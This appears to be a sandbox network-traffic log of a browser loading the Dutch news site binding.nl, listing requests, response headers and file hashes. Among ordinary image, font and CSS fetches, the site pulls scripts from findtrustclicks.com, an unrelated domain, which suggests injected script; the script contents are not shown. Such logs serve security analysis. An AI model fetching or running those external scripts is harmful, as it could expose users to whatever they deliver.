vary: Accept
x-nc: MISS arn 7
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image, VP8 encoding, 324x235, Scaling: [none]x[none], YUV color, decoders should clamp\012- data
Size:   9746
Md5:    eb53ccfa45b85495c028983738fb3349
Sha1:   bda114b81424f9486737ec70a46c38548e7a5864
Sha256: 095d0ceaf3097c6d84075366ac7f3a2a9cb6f868a2fb896b3e484a3a26724089
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/2e-wo-Onderdijk.png?resize=265%2C198&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 69502
last-modified: Mon, 28 Nov 2022 06:50:47 GMT
expires: Wed, 27 Nov 2024 18:50:47 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/2e-wo-Onderdijk.png>; rel="canonical"
x-content-type-options: nosniff
etag: "ccad87296e5c7d56"
vary: Accept
x-nc: MISS arn 3
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   69502
Md5:    6b65211205c1617659680f1ccb66e7dd
Sha1:   bd962f14f4f73b7d225b3e67b93af543b31e8c9e
Sha256: 718c6dae09a258f1a1c0542e1d8245456eecdea2773c79bd25c4ba79b512f982
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/cadeaubonnen-WAN_small.png?resize=324%2C235&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 68272
last-modified: Mon, 28 Nov 2022 06:50:47 GMT
expires: Wed, 27 Nov 2024 18:50:47 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/cadeaubonnen-WAN_small.png>; rel="canonical"
x-content-type-options: nosniff
etag: "1b74a1521c85c30e"
vary: Accept
x-nc: MISS arn 8
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   68272
Md5:    c935d966c5dc846470f6274160306623
Sha1:   9d5ed57383241f3d85bb1702acaaf1d35d31d40b
Sha256: ce915a00639891aea1051a1e6d81c392e6a1478ca266b0b18b55be0731368009
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/Voetbal-VVW-foto-3_small.png?resize=324%2C160&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 74410
last-modified: Sat, 26 Nov 2022 12:57:47 GMT
expires: Tue, 26 Nov 2024 00:57:47 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/Voetbal-VVW-foto-3_small.png>; rel="canonical"
x-content-type-options: nosniff
etag: "7119484c951ab1dd"
vary: Accept
x-nc: MISS arn 6
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   74410
Md5:    a7395644e6bada6dfeb84bdeac1943c6
Sha1:   5994cd5fea3e331bdf3d325a3ecfa1b5f481b2eb
Sha256: 7acc4ff10d0a889a0ab084e9e4af90856138b26879341a91878fcbec1e3eb264
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/Voetbal-VVW-foto-3_small.png?resize=265%2C198&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 73110
last-modified: Mon, 28 Nov 2022 06:50:47 GMT
expires: Wed, 27 Nov 2024 18:50:47 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/Voetbal-VVW-foto-3_small.png>; rel="canonical"
x-content-type-options: nosniff
etag: "c451e414f407e35f"
vary: Accept
x-nc: MISS arn 6
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   73110
Md5:    9861603a1095e6e8f59d75ca2ef1264d
Sha1:   44f08e10aef62b5f1310073b9fce29d1a6a9ba0c
Sha256: afd42de9f3db31dbc73670d4f9978fc91c7292af6137c9530641fa6fb83501bc
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         142.250.74.35
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 28 Nov 2022 06:50:47 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /p/jetpack/11.5.1/_inc/build/photon/photon.min.js HTTP/1.1 
Host: c0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.37
HTTP/2 200 OK
content-type: application/javascript
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
vary: Accept-Encoding
last-modified: Tue, 07 Dec 2021 16:56:47 GMT
content-encoding: br
expires: Tue, 28 Nov 2023 06:50:47 GMT
cache-control: max-age=31536000
strict-transport-security: max-age=15552000
x-nc: HIT arn 2
timing-allow-origin: *
access-control-allow-methods: GET, HEAD
access-control-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (685), with no line terminators
Size:   788
Md5:    e00e29a7a3ba1655cd6e2adbb00dd03b
Sha1:   52039aa912c6dd3ea86b6b3eaa78d41224e79f1c
Sha256: 37d54a45743d27d43ff57a4ad1a07e975d9d1f291f65c60934df6cf53e5c2b8c
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/2e-wo-Onderdijk.png?resize=324%2C235&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 96490
last-modified: Mon, 28 Nov 2022 06:50:47 GMT
expires: Wed, 27 Nov 2024 18:50:47 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/2e-wo-Onderdijk.png>; rel="canonical"
x-content-type-options: nosniff
etag: "52743d63664c2179"
vary: Accept
x-nc: MISS arn 3
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   96490
Md5:    75c1f891059a2f2f3e007e4c62d8b493
Sha1:   f7a8041510ad21ae119702d08d198b9ef2419a60
Sha256: a90d4e9cf6a0e467254396f9d0d6acd3221f14bd716666e08d0bfb96b4d7d046
                                        
                                            GET /www.binding.nl/wp-content/uploads/2022/11/cadeaubonnen-WAN_small.png?resize=533%2C261&ssl=1 HTTP/1.1 
Host: i0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.2
HTTP/2 200 OK
content-type: image/webp
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
content-length: 122766
last-modified: Mon, 28 Nov 2022 06:50:47 GMT
expires: Wed, 27 Nov 2024 18:50:47 GMT
cache-control: public, max-age=63115200
link: <https://www.binding.nl/wp-content/uploads/2022/11/cadeaubonnen-WAN_small.png>; rel="canonical"
x-content-type-options: nosniff
etag: "47566327362ac839"
vary: Accept
x-nc: MISS arn 8
access-control-allow-origin: *
access-control-allow-methods: GET, HEAD
timing-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  RIFF (little-endian) data, Web/P image\012- data
Size:   122766
Md5:    3089f060192511202415ef7a2e3c0a84
Sha1:   169c25ae935a49c91cdf82db4d2720a1309014b8
Sha256: e9ad9a328a88cb66078d5c0591a98392c93607c266c58fbad8d15d38bb9428ca
                                        
                                            GET /v1/buckets/main/collections/ms-language-packs/records/cfr-v1-en-US HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         34.102.187.140
HTTP/2 200 OK
content-type: application/json
                                        
access-control-allow-origin: *
access-control-expose-headers: ETag, Content-Type, Content-Length, Last-Modified, Alert, Backoff, Pragma, Expires, Retry-After, Cache-Control
content-security-policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
strict-transport-security: max-age=31536000
x-content-type-options: nosniff
content-length: 329
via: 1.1 google
date: Mon, 28 Nov 2022 06:08:55 GMT
cache-control: public,max-age=3600
age: 2512
last-modified: Fri, 25 Mar 2022 17:45:46 GMT
etag: "1648230346554"
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (329), with no line terminators
Size:   329
Md5:    0333b0655111aa68de771adfcc4db243
Sha1:   63f295a144ac87a7c8e23417626724eeca68a7eb
Sha256: 60636eb1dc67c9ed000fe0b49f03777ad6f549cb1d2b9ff010cf198465ae6300
                                        
                                            GET /p/jetpack/11.5.1/_inc/social-logos/social-logos.min.css HTTP/1.1 
Host: c0.wp.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
TE: trailers

search
                                         192.0.77.37
HTTP/2 200 OK
content-type: text/css
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
vary: Accept-Encoding
last-modified: Tue, 30 Jun 2020 14:24:10 GMT
content-encoding: br
expires: Tue, 28 Nov 2023 06:50:47 GMT
cache-control: max-age=31536000
strict-transport-security: max-age=15552000
x-nc: HIT arn 2
timing-allow-origin: *
access-control-allow-methods: GET, HEAD
access-control-allow-origin: *
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (12105)
Size:   8236
Md5:    73ae30d642f3b95056c924772d98eeb1
Sha1:   f8d380ad5c7bbd93d95642990d13728c8980d8af
Sha256: 4d2ab1de73dcd3aa81aa2767c964cab5fbf5d8db319b086ef2497dd81a3ed5df
                                        
                                            GET / HTTP/1.1 
Host: push.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Origin: wss://push.services.mozilla.com/
Sec-WebSocket-Protocol: push-notification
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: iVfLf3pd8PqJLj8dIrdR6g==
Connection: keep-alive, Upgrade
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

search
                                         54.70.239.215
HTTP/1.1 101 Switching Protocols
                                        
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: ym2s938F9NQEXnVSOINogUHIQW4=

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.77.32
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "CB4A098C4C7D359950E26D6A54BE94855B1EEEB80D47763DD4FE770F61605733"
Last-Modified: Mon, 28 Nov 2022 04:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=13595
Expires: Mon, 28 Nov 2022 10:37:23 GMT
Date: Mon, 28 Nov 2022 06:50:48 GMT
Connection: keep-alive

                                        
                                            GET /scripts/stock.js HTTP/1.1 
Host: files.findtrustclicks.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         89.22.228.250
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: nginx
Date: Mon, 28 Nov 2022 06:50:48 GMT
Content-Length: 14
Connection: keep-alive
Keep-Alive: timeout=60
Last-Modified: Sat, 26 Nov 2022 12:49:46 GMT
ETag: "e-5ee5f12b586cd"
Accept-Ranges: bytes


--- Additional Info ---
Magic:  ASCII text, with no line terminators
Size:   14
Md5:    72f1e8b856d4317cb40af986a55b6670
Sha1:   47e6db80d6d59cf97163bd2723a5c4af15f8b9cf
Sha256: 1a106fea3287079a3f873a0552cdc8c7edea992195a3d1248472ec27c855e599
                                        
                                            GET /wp-content/plugins/td-cloud-library/assets/css/tdb_main.css?ver=87b3292f51aec51c00e6ce7db9b73ed1 HTTP/1.1 
Host: www.binding.nl
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/css,*/*;q=0.1
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: style
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         75.119.144.45
HTTP/2 200 OK
content-type: text/css
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
last-modified: Wed, 16 Nov 2022 09:40:04 GMT
etag: W/"6374aff4-74a9"
strict-transport-security: max-age=15768000; includeSubDomains
x-powered-by: PleskLin
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (349)
Size:   5087
Md5:    a8344151b70a99a5f3a502926f87c547
Sha1:   7cff52454d8723b3c9d6d118666b9b85df300174
Sha256: d040d51b23a27db6cc7dd0064f0d31b2a5c443641fd7c2cbeefef7316f36900a
                                        
                                            GET /sort.js?v=7.0.1 HTTP/1.1 
Host: record.findtrustclicks.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         89.22.228.250
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: nginx
Date: Mon, 28 Nov 2022 06:50:48 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
Last-Modified: Fri, 25 Nov 2022 04:49:21 GMT
ETag: W/"102c-5ee443ec5898d"
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (4140), with no line terminators
Size:   1526
Md5:    8ecb46e68d7ee2b249a6f0bd4ecabc88
Sha1:   e0d5a9f07ca629f4c4ac7154095bd419826ed245
Sha256: 16f62d801d81aa35dcebf8da2b88904663904c38d6ae8830be4f5db1d66bd22f
                                        
                                            GET /sort.js?v=7.2.2 HTTP/1.1 
Host: record.findtrustclicks.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         89.22.228.250
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: nginx
Date: Mon, 28 Nov 2022 06:50:48 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Keep-Alive: timeout=60
Vary: Accept-Encoding
Last-Modified: Fri, 25 Nov 2022 04:49:21 GMT
ETag: W/"102c-5ee443ec5898d"
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (4140), with no line terminators
Size:   1526
Md5:    8ecb46e68d7ee2b249a6f0bd4ecabc88
Sha1:   e0d5a9f07ca629f4c4ac7154095bd419826ed245
Sha256: 16f62d801d81aa35dcebf8da2b88904663904c38d6ae8830be4f5db1d66bd22f
                                        
                                            GET /wp-content/plugins/td-composer/legacy/Newspaper/assets/images/icons/newspaper-icons.woff?1 HTTP/1.1 
Host: www.binding.nl
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Connection: keep-alive
Referer: https://www.binding.nl/wp-content/plugins/td-composer/legacy/Newspaper/assets/css/td_legacy_main.css?ver=e815948e5c9ec5801de67b92a1d5a59fx
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         75.119.144.45
HTTP/2 200 OK
content-type: font/woff
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:49 GMT
content-length: 5956
last-modified: Wed, 16 Nov 2022 09:39:40 GMT
etag: "6374afdc-1744"
strict-transport-security: max-age=15768000; includeSubDomains
x-powered-by: PleskLin
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format, TrueType, length 5956, version 0.0\012- data
Size:   5956
Md5:    39d1770eb95e69b7ac8cf06d9848b41d
Sha1:   1a5fb0db1ca06b3d4c45dd4de6a18b5cdec67b8e
Sha256: 2a2ac34136c00e48cd04edf792aec5e6dba2b4cd5942b9383f3f56764125e808
                                        
                                            GET /wp-content/plugins/td-cloud-library/assets/js/js_files_for_front.min.js?ver=87b3292f51aec51c00e6ce7db9b73ed1 HTTP/1.1 
Host: www.binding.nl
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Referer: https://www.binding.nl/
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         75.119.144.45
HTTP/2 200 OK
content-type: application/javascript
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:47 GMT
last-modified: Wed, 16 Nov 2022 09:40:04 GMT
etag: W/"6374aff4-280b6"
strict-transport-security: max-age=15768000; includeSubDomains
x-powered-by: PleskLin
content-encoding: br
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (1042)
Size:   37438
Md5:    f8f8f00a5a73ad3ccf19d1868fd1e784
Sha1:   b15de608d9b8c398f4ca4cec2b7ab4d21d73c318
Sha256: 98ff9ddbb98022caa7c7d438ec4bc0e0abd9f2f23db3140d790a372e74153320
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         142.250.74.35
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 28 Nov 2022 06:50:49 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /wp-content/themes/Newspaper/images/icons/newspaper.woff?21 HTTP/1.1 
Host: www.binding.nl
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Connection: keep-alive
Referer: https://www.binding.nl/wp-content/themes/Newspaper/style.css?ver=12.1
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
TE: trailers

search
                                         75.119.144.45
HTTP/2 200 OK
content-type: font/woff
                                        
server: nginx
date: Mon, 28 Nov 2022 06:50:49 GMT
content-length: 32832
last-modified: Wed, 16 Nov 2022 09:39:30 GMT
etag: "6374afd2-8040"
strict-transport-security: max-age=15768000; includeSubDomains
x-powered-by: PleskLin
accept-ranges: bytes
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format, TrueType, length 32832, version 0.0\012- data
Size:   32832
Md5:    9c438d9085ef7403699853b7d95e1b64
Sha1:   23beabfda7dbf79279d908123a25a347d09861c5
Sha256: c21a4f4dea997c97bf301a6d477a7968fabb123e8e00f99ae6fac7f4767324d6
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         142.250.74.35
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 28 Nov 2022 06:50:49 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /s/opensans/v34/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2 HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Origin: https://www.binding.nl
Connection: keep-alive
Referer: https://fonts.googleapis.com/
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         216.58.207.195
HTTP/2 200 OK
content-type: font/woff2
                                        
accept-ranges: bytes
access-control-allow-origin: *
content-security-policy-report-only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin; report-to="apps-themes"
report-to: {"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
timing-allow-origin: *
content-length: 44856
x-content-type-options: nosniff
server: sffe
x-xss-protection: 0
date: Thu, 24 Nov 2022 05:42:51 GMT
expires: Fri, 24 Nov 2023 05:42:51 GMT
cache-control: public, max-age=31536000
age: 349678
last-modified: Mon, 15 Aug 2022 18:20:18 GMT
alt-svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43"
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format (Version 2), TrueType, length 44856, version 1.0\012- data
Size:   44856
Md5:    565ce506190ad3af920b40baf1794cec
Sha1:   ad3cba5d06100e09449a864d3b5e58403b478b3d
Sha256: 8778e9af2422858d7052ff9a0f3c12c08ae976bdd6e0316db144cd5579cd97db
                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 84
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         142.250.74.35
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 28 Nov 2022 06:50:49 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 472
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2 HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Origin: https://www.binding.nl
Connection: keep-alive
Referer: https://fonts.googleapis.com/
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

search
                                         216.58.207.195
HTTP/2 200 OK
content-type: font/woff2
                                        
accept-ranges: bytes
access-control-allow-origin: *
content-security-policy-report-only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
cross-origin-resource-policy: cross-origin
cross-origin-opener-policy: same-origin; report-to="apps-themes"
report-to: {"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
timing-allow-origin: *
content-length: 15920
x-content-type-options: nosniff
server: sffe
x-xss-protection: 0
date: Wed, 23 Nov 2022 14:07:32 GMT
expires: Thu, 23 Nov 2023 14:07:32 GMT
cache-control: public, max-age=31536000
age: 405797
last-modified: Wed, 11 May 2022 19:24:45 GMT
